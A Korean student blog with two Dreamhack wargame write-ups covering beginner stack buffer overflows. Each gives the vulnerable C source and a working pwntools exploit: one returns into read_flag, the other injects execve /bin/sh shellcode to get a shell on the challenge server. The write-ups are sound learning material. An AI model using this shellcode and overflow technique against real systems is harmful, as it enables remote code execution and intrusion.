반응형

첫 번째 문제가 재밌어서 바로 두 번째 문제를 풀러 왔다.

첫 문제보다 쉬운 것 같다. 그냥 read_flag() 함수를 호출할 수 있으면 될 것이다.

(문제 출처 : https://dreamhack.io/wargame/challenges/3 )

 

예전에 어딘가에서 듣기로 ASLR? 이라는 기법이 사용되면 프로그램을 실행할 때 마다 주소가 바뀌어 포너블하기 힘들어진다고 했는데, 그냥 여기서는 그런 기능 안되어있길 기도하면서 read_flag 함수 주소를 찾았던 것 같다. 

 

일단 국룰 절차 먼저 밟아보자.

사실 보호기법은 봐도 잘 모른다. 그래도 일단 습관화 하면 좋을 것 같아서 밟는 절차... 하하 

 

다음은 코드를 살펴보도록 하자.

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>


void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}


void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}


void read_flag() {
    system("cat /flag");
}

int main(int argc, char *argv[]) {

    char buf[0x80];

    initialize();
   
    gets(buf);

    return 0;
}

그냥 buffer overflow 이용해서 buf 칸 다 채워버리고 return 주소가 read_flag를 가리키게 하면 될 것 같다.

그럼 read_flag()의 주소를 어떻게 찾을까?

오 이 따옴표 넣는 기능 신기하다. 애용해야겠다.

dreamhack은 감사하게도 우리에게 pwndbg 사용법을 알려줬다.

 

사용법은 다들 알거니까 시작해보자.

print read_flag 써서 바로 주소 찾아줬다. 그럼 이걸 이용해 익스를 짜보자.

 

from pwn import *

p = remote('host3.dreamhack.games', 14765)

read_flag_addr = p32(0x80485b9)

payload = b"\x90"*0x80
payload += b"\x90"*4
payload += read_flag_addr

p.sendline(payload)
p.interactive()

 

우선 0x80칸 NOP으로 채워주고, SFP도 그냥 채워주고, 마지막 return address에다가 방금 찾은 주소를 넣어줬다.

 

흐흐.. 성공했다. 재밌다 ! 야무지다 ! 행복하다 !

반응형
반응형

2학기 들어서 처음 풀어보는 Pwnable 문제!!

신나는 마음으로 접근해보았다.

(문제 링크 : https://dreamhack.io/wargame/challenges/2)

 

basic_exploitation_000

Description 이 문제는 서버에서 작동하고 있는 서비스(basic_exploitation_000)의 바이너리와 소스 코드가 주어집니다. 프로그램의 취약점을 찾고 익스플로잇해 셸을 획득한 후, "flag" 파일을 읽으세요. "f

dreamhack.io

강의를 다 보고나서 문제를 보니, 

이 문제는 서버에서 작동하고 있는 서비스(basic_exploitation_000)의 바이너리와 소스 코드가 주어집니다.
프로그램의 취약점을 찾고 익스플로잇해 셸을 획득한 후, “flag” 파일을 읽으세요.
“flag” 파일의 내용을 워게임 사이트에 인증하면 점수를 획득할 수 있습니다.
플래그의 형식은 DH{…} 입니다.

라고 한다.

 

그런데, 주어진 소스코드를 살펴보면 익스해서 셸을 획득할 수 있는 코드가 존재하지 않는다.

그렇다면... 셸코드를 이용해야할 것 같다. 셸코드는 대략 25~26byte정도 되었던 것으로 기억하니, 그걸 감안하고 문제를 풀어보도록 해야겠다. (아직 bof말고는 아무것도 몰라서 제 설명이 맞는지는 모르겠습니다! 틀렸다면 죄송!!!)

 

alarm_handler() 는 무시해도 될 것 같다.

initialize()는 그냥 버퍼 초기화하는 함수인 것 같으니까 무시해야겠다.

main()함수만 보도록 하자!

 

공부한대로 그냥 차근차근 보자.

일단 파일이 어떤녀석인지 보자.

32bit, SYSV 이정도만 알면 될 것 같다.

 

다음으로, stack에는 매개변수, 반환주소(RET, SFP), 지역변수 순으로 저장된다. 이를 그림으로 그려보면

이런 형태일 것이다.(매개변수는 들어오지 않았으므로.)

이제 코드상의 취약점을 찾아보자.

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>


void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}


void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}


int main(int argc, char *argv[]) {

    char buf[0x80];

    initialize();
   
    printf("buf = (%p)\n", buf);
    scanf("%141s", buf);

    return 0;
}

buf의 사이즈가 0x80 즉, 128byte인데 scanf에서는 141byte씩이나 받고있다. (개발자 뭐하냐... 정신차려...) 

그렇다면 맛있게 bof를 해주면 될 것 같다.

 

익스 코드를 짜주자.

from pwn import *

p = remote('host3.dreamhack.games', 14027)

shellcode = b"\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc9\x31\xd2\xb0\x08\x40\x40\x40\xcd\x80"

p.recvuntil("buf = (")
buf_addr = int(p.recv(10), 16)

print(buf_addr)

payload = shellcode
payload += b"\x90" * (0x80 - len(shellcode))
payload += b"\x90" * 4
payload += p32(buf_addr)

p.sendline(payload)
p.interactive()

(shellcode는 그냥 인터넷에서 찾아서 긁어왔다 ㅎ..)

 

1. 우선 처음 nc 접속하면 "buf = (buf의 address)" 가 출력된다. buf의 address는 (0xXXXXXXXX) 이런 형태를 띠고있을 것이므로, 해당 주소는 10글자라고 할 수 있다. 따라서, "buf = (" 이후, 열글자를 16진수형 정수로 받아 이를 buf_addr에 저장해준다.

2. 그 다음, shellcode를 buf에 저장해주고, 나머지는 NOP으로 가득 채워준 후, SFP도 그냥 NOP으로 채우고 나서, return address를 buf의 시작주소로 지정해주어 이를 실행해주면 될 것이다!

 

성공한 것으로 보인다.

 

역시 처음 공부하는건 다 재밌다 ㅎ

반응형

+ Recent posts